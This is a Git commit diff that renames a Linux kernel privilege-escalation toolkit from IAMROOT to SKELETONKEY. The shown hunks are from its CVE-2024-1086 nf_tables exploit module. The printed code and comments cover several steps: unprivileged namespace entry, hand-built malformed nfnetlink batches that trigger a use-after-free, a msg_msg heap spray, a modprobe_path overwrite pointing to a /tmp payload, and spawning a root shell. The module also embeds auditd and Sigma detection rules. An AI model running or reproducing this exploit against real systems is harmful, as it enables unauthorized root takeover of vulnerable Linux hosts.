rename: IAMROOT → SKELETONKEY across the entire project
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions

Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
2026-05-16 22:43:49 -04:00
parent 9d88b475c1
commit 9593d90385
109 changed files with 1711 additions and 1701 deletions
+1 -1
View File
@@ -16,7 +16,7 @@ GitHub: <https://github.com/Notselwyn/CVE-2024-1086>
Upstream fix: mainline 6.8-rc1 (commit `f342de4e2f33`, Jan 2024).
Stable backports throughout Q1 2024.
## IAMROOT role
## SKELETONKEY role
This module fires the malformed-verdict trigger (NFT_GOTO + NFT_DROP
in the same verdict) via a hand-rolled nfnetlink batch — no libmnl
@@ -1,12 +0,0 @@
/*
* nf_tables_cve_2024_1086 — IAMROOT module registry hook
*/
#ifndef NF_TABLES_IAMROOT_MODULES_H
#define NF_TABLES_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module nf_tables_module;
#endif
@@ -1,5 +1,5 @@
/*
* nf_tables_cve_2024_1086 IAMROOT module
* nf_tables_cve_2024_1086 SKELETONKEY module
*
* Netfilter nf_tables UAF when NFT_GOTO/NFT_JUMP verdicts coexist
* with NFT_DROP/NFT_QUEUE. Triggers a double-free cross-cache UAF
@@ -13,11 +13,11 @@
* (table chain set rule with the NFT_GOTO+NFT_DROP combo
* that nft_verdict_init() fails to reject on vulnerable kernels),
* fires the double-free path, runs the msg_msg cg-96 groom, and
* returns IAMROOT_EXPLOIT_FAIL (primitive-only behavior).
* returns SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior).
* - With --full-chain: after the trigger lands, we resolve kernel
* offsets (env kallsyms System.map embedded table) and run
* a Notselwyn-style pipapo arb-write via the shared
* iamroot_finisher_modprobe_path() helper. The arb-write itself
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself
* is FALLBACK-DEPTH: we re-fire the trigger and spray a msg_msg
* payload tagged with the kaddr in the value-pointer slot. The
* exact pipapo_elem layout (and the value-pointer field offset)
@@ -34,7 +34,7 @@
* heap pointer.
* 3. Implement the sk_buff fragment overwrite to plant a fake
* pipapo_elem whose value points at modprobe_path.
* 4. Fire trigger that writes "/tmp/iamroot-pwn" into modprobe_path.
* 4. Fire trigger that writes "/tmp/skeletonkey-pwn" into modprobe_path.
* 5. execve() an unknown binary to invoke modprobe with our payload.
*
* Affected kernel ranges:
@@ -55,7 +55,7 @@
* for unprivileged users even on a kernel-vulnerable host.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -134,12 +134,12 @@ static bool nf_tables_loaded(void)
return found;
}
static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nf_tables: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.14. Anything below predates it. */
@@ -148,7 +148,7 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nf_tables: kernel %s predates the bug "
"(introduced in 5.14)\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&nf_tables_range, &v);
@@ -156,7 +156,7 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -180,14 +180,14 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nf_tables: still patch the kernel — a root "
"attacker can still trigger the bug\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] nf_tables: VULNERABLE — kernel in range AND user_ns "
"clone allowed\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------
@@ -229,7 +229,7 @@ static int enter_unpriv_namespaces(void)
/* ------------------------------------------------------------------
* Minimal nfnetlink batch builder. We hand-roll this rather than
* pulling libmnl, both to keep IAMROOT dep-free and because the bug
* pulling libmnl, both to keep SKELETONKEY dep-free and because the bug
* relies on a specific malformed verdict that libnftnl validates away.
*
* Each helper appends to a contiguous batch buffer at *off.
@@ -318,9 +318,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
* Build the ruleset that fires the bug. Strategy mirrors Notselwyn's
* PoC (greatly simplified):
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
* 2. NFT_MSG_NEWTABLE "iamroot_t" family=inet
* 3. NFT_MSG_NEWCHAIN "iamroot_c" inside the table
* 4. NFT_MSG_NEWSET "iamroot_s" inside the table, key=verdict,
* 2. NFT_MSG_NEWTABLE "skeletonkey_t" family=inet
* 3. NFT_MSG_NEWCHAIN "skeletonkey_c" inside the table
* 4. NFT_MSG_NEWSET "skeletonkey_s" inside the table, key=verdict,
* data=verdict (the pipapo combo that holds the bad verdict),
* flags = NFT_SET_ANONYMOUS|NFT_SET_CONSTANT|NFT_SET_INTERVAL
* 5. NFT_MSG_NEWSETELEM with a verdict element whose
@@ -341,9 +341,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
* cross-cache groom.
* ------------------------------------------------------------------ */
static const char NFT_TABLE_NAME[] = "iamroot_t";
static const char NFT_CHAIN_NAME[] = "iamroot_c";
static const char NFT_SET_NAME[] = "iamroot_s";
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
static const char NFT_CHAIN_NAME[] = "skeletonkey_c";
static const char NFT_SET_NAME[] = "skeletonkey_s";
/* batch begin / end markers */
static void put_batch_begin(uint8_t *buf, size_t *off, uint32_t seq)
@@ -382,7 +382,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
end_msg(buf, off, at);
}
/* NFT_MSG_NEWTABLE inet "iamroot_t" */
/* NFT_MSG_NEWTABLE inet "skeletonkey_t" */
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
@@ -447,8 +447,8 @@ static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq)
* AND once on data_release double free.
*
* We pack:
* NFTA_SET_ELEM_LIST_TABLE = "iamroot_t"
* NFTA_SET_ELEM_LIST_SET = "iamroot_s"
* NFTA_SET_ELEM_LIST_TABLE = "skeletonkey_t"
* NFTA_SET_ELEM_LIST_SET = "skeletonkey_s"
* NFTA_SET_ELEM_LIST_ELEMENTS { element { key=verdict(DROP),
* data=verdict(GOTO chain-id=...) } }
*/
@@ -657,7 +657,7 @@ static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq)
* lts-6.1.x / 6.6.x / 6.7.x un-randomized build (the kernels in the
* exploitable range for which Notselwyn's public PoC was validated)
* and rely on the shared finisher's sentinel-file post-check to flag
* a layout mismatch as IAMROOT_EXPLOIT_FAIL rather than fake success.
* a layout mismatch as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
* ------------------------------------------------------------------ */
struct nft_arb_ctx {
@@ -798,11 +798,11 @@ static int nft_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vct
* The exploit body.
* ------------------------------------------------------------------ */
static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
{
/* Gate 1: re-confirm vulnerability. detect() also checks user_ns. */
iamroot_result_t pre = nf_tables_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = nf_tables_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] nf_tables: detect() says not vulnerable; refusing\n");
return pre;
}
@@ -811,7 +811,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
if (geteuid() == 0) {
if (!ctx->json)
fprintf(stderr, "[i] nf_tables: already running as root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
@@ -834,27 +834,27 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
* as the arb-write.
*/
if (ctx->full_chain) {
struct iamroot_kernel_offsets off;
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("nf_tables");
return IAMROOT_EXPLOIT_FAIL;
struct skeletonkey_kernel_offsets off;
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("nf_tables");
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
if (enter_unpriv_namespaces() < 0) {
fprintf(stderr, "[-] nf_tables: userns entry failed\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
if (sock < 0) {
perror("[-] socket(NETLINK_NETFILTER)");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
}
int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
@@ -863,11 +863,11 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
int qids[SPRAY_MSGS * 4];
for (size_t i = 0; i < sizeof qids / sizeof qids[0]; i++) qids[i] = -1;
if (spray_msg_msg(qids, SPRAY_MSGS / 2) < 0) {
close(sock); return IAMROOT_EXPLOIT_FAIL;
close(sock); return SKELETONKEY_EXPLOIT_FAIL;
}
uint8_t *batch = calloc(1, 16 * 1024);
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
/* Initial trigger batch (NEWTABLE/CHAIN/SET/SETELEM). */
uint32_t seq = (uint32_t)time(NULL);
@@ -880,12 +880,12 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] nf_tables: trigger batch failed\n");
drain_spray(qids, SPRAY_MSGS / 2);
free(batch); close(sock);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Wire up the arb-write context and hand off to the shared
* finisher. The finisher will:
* - call nft_arb_write(modprobe_path, "/tmp/iamroot-mp-...", N)
* - call nft_arb_write(modprobe_path, "/tmp/skeletonkey-mp-...", N)
* which re-fires the trigger and sprays forged pipapo elems
* - execve() the trigger binary to invoke modprobe
* - poll for the setuid sentinel, and spawn a root shell. */
@@ -898,7 +898,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
.qused = SPRAY_MSGS / 2,
};
iamroot_result_t r = iamroot_finisher_modprobe_path(&off,
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(&off,
nft_arb_write, &ac, !ctx->no_shell);
drain_spray(qids, ac.qused);
@@ -913,7 +913,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
* kernel panics on KASAN we don't want our parent process to be
* the one that takes the hit. */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* --- CHILD --- */
@@ -1040,7 +1040,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
"fired (KASAN/oops can manifest as child signal)\n",
WTERMSIG(status));
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -1054,20 +1054,20 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
" cross-cache groom + modprobe_path overwrite\n"
" from github.com/Notselwyn/CVE-2024-1086.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (rc >= 20 && rc <= 25) {
if (!ctx->json) {
fprintf(stderr, "[-] nf_tables: trigger setup failed (child rc=%d)\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[-] nf_tables: unexpected child rc=%d\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* ----- Embedded detection rules ----- */
@@ -1077,15 +1077,15 @@ static const char nf_tables_auditd[] =
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by nft socket setup.\n"
"# This is the canonical exploit shape; legitimate userns + nft use\n"
"# (e.g. firewalld, docker rootless) will also trip — tune per env.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-nf-tables-userns\n"
"-a always,exit -F arch=b32 -S unshare -k iamroot-nf-tables-userns\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nf-tables-userns\n"
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nf-tables-userns\n"
"# Also watch for the canonical post-exploit primitives: modprobe_path\n"
"# overwrite OR setresuid(0,0,0) on a previously-non-root process.\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k iamroot-nf-tables-priv\n";
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nf-tables-priv\n";
static const char nf_tables_sigma[] =
"title: Possible CVE-2024-1086 nf_tables UAF exploitation\n"
"id: a72b5e91-iamroot-nf-tables\n"
"id: a72b5e91-skeletonkey-nf-tables\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape: unprivileged user creating a\n"
@@ -1107,7 +1107,7 @@ static const char nf_tables_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n";
const struct iamroot_module nf_tables_module = {
const struct skeletonkey_module nf_tables_module = {
.name = "nf_tables",
.cve = "CVE-2024-1086",
.summary = "nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W",
@@ -1123,7 +1123,7 @@ const struct iamroot_module nf_tables_module = {
.detect_falco = NULL,
};
void iamroot_register_nf_tables(void)
void skeletonkey_register_nf_tables(void)
{
iamroot_register(&nf_tables_module);
skeletonkey_register(&nf_tables_module);
}
@@ -0,0 +1,12 @@
/*
* nf_tables_cve_2024_1086 — SKELETONKEY module registry hook
*/
#ifndef NF_TABLES_SKELETONKEY_MODULES_H
#define NF_TABLES_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nf_tables_module;
#endif